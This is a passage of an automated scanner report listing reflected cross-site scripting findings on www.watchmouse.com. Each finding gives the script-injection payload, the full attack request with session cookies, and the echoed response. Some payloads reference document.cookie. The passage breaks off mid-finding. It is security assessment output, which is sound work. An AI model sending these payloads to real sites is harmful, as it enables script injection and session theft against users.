...[SNIP]...

1.369. http://www.watchmouse.com/chat.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/chat.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e089"><script>alert(1)</script>29c47b881dd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /chat.php1e089"><script>alert(1)</script>29c47b881dd HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.8.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:52 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-b655026f2a7a50b943cec4c2a51e68f4"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13019

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/chat.php1e089"><script>alert(1)</script>29c47b881dd" method="post">
...[SNIP]...

1.370. http://www.watchmouse.com/compare_plans.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/compare_plans.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed98c"><script>alert(1)</script>d492a5abbe3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /compare_plans.phped98c"><script>alert(1)</script>d492a5abbe3 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:41 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-901a7f0cb36f279d03ff958fc68d0afe"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/compare_plans.phped98c"><script>alert(1)</script>d492a5abbe3" method="post">
...[SNIP]...

1.371. http://www.watchmouse.com/compare_plans.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/compare_plans.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5084c"><script>alert(1)</script>5f3ea6a8924 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /compare_plans.php?5084c"><script>alert(1)</script>5f3ea6a8924=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:29:40 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-3c627d91cc30b31ca1c96cf97b191df8"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 60819

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/compare_plans.php?5084c"><script>alert(1)</script>5f3ea6a8924=1" method="post">
...[SNIP]...

1.372. http://www.watchmouse.com/de/ [3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/

Issue detail

The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f9192"><script>alert(1)</script>1f1c7aad21b was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=1f9192"><script>alert(1)</script>1f1c7aad21b HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:55 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-de-2a296d48f3e1c338fa1ae7efd966292c"
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 19324

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/de/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=1f9192"><script>alert(1)</script>1f1c7aad21b" method="post">
...[SNIP]...

1.373. http://www.watchmouse.com/de/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee32d"><script>alert(1)</script>e458848d283 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /deee32d"><script>alert(1)</script>e458848d283/ HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:57 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-85773b95d2864b6570355fc42dbd9f01"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 12974

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/deee32d"><script>alert(1)</script>e458848d283/" method="post">
...[SNIP]...

1.374. http://www.watchmouse.com/de/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e97e"><script>alert(1)</script>dfef8dfc3c2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/?8e97e"><script>alert(1)</script>dfef8dfc3c2=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:54 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-de-26a6a2ac297c81238f4b123e18021f1f"
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18703

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/de/?8e97e"><script>alert(1)</script>dfef8dfc3c2=1" method="post">
...[SNIP]...

1.375. http://www.watchmouse.com/de/feature/public-status-page.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/feature/public-status-page.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 965ce"><script>alert(1)</script>9d6c19c90c2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /de965ce"><script>alert(1)</script>9d6c19c90c2/feature/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:32 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-29722c3d15dd84a5fb39b1b1944d51a7"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/de965ce"><script>alert(1)</script>9d6c19c90c2/feature/public-status-page.html" method="post">
...[SNIP]...

1.376. http://www.watchmouse.com/de/feature/public-status-page.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/feature/public-status-page.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1fd9"><script>alert(1)</script>01b2edc89ed was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/featuref1fd9"><script>alert(1)</script>01b2edc89ed/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:34 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-de-ba80288d1c13fc0a830740ea63bc5c6c"
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13536

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/de/featuref1fd9"><script>alert(1)</script>01b2edc89ed/public-status-page.html" method="post">
...[SNIP]...

1.377. http://www.watchmouse.com/de/feature/public-status-page.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/feature/public-status-page.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be3b4"><script>alert(1)</script>f0266383555 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/feature/public-status-page.htmlbe3b4"><script>alert(1)</script>f0266383555 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:40 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-de-8644ea6d0f6042165712c989e6ca7708"
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13536

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/de/feature/public-status-page.htmlbe3b4"><script>alert(1)</script>f0266383555" method="post">
...[SNIP]...

1.378. http://www.watchmouse.com/de/feature/the-watchmouse-api.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2dd1d"><script>alert(1)</script>cde2ccea685 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /de2dd1d"><script>alert(1)</script>cde2ccea685/feature/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:39 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-1937f6914405fcd686b672627758cc89"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/de2dd1d"><script>alert(1)</script>cde2ccea685/feature/the-watchmouse-api.html" method="post">
...[SNIP]...

1.379. http://www.watchmouse.com/de/feature/the-watchmouse-api.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload da91d"><script>alert(1)</script>ea4fa160ad5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/featureda91d"><script>alert(1)</script>ea4fa160ad5/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:39 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-de-2157ce1d4ea74a7637cd2ac21d2372fe"
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13536

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/de/featureda91d"><script>alert(1)</script>ea4fa160ad5/the-watchmouse-api.html" method="post">
...[SNIP]...

1.380. http://www.watchmouse.com/de/feature/the-watchmouse-api.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82416"><script>alert(1)</script>2bbf615e11d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/feature/the-watchmouse-api.html82416"><script>alert(1)</script>2bbf615e11d HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:40 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-de-bb902ae83bc92ab6652b376dba5276e1"
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13536

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/de/feature/the-watchmouse-api.html82416"><script>alert(1)</script>2bbf615e11d" method="post">
...[SNIP]...

1.381. http://www.watchmouse.com/de/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8acce"><script>alert(1)</script>7186806a23a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /de8acce"><script>alert(1)</script>7186806a23a/feature/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:59 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-a483251fb53cc90294693a8f84643ae2"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13505

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/de8acce"><script>alert(1)</script>7186806a23a/feature/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.382. http://www.watchmouse.com/de/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e9d2b"><script>alert(1)</script>03423c381c1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/featuree9d2b"><script>alert(1)</script>03423c381c1/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:03 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
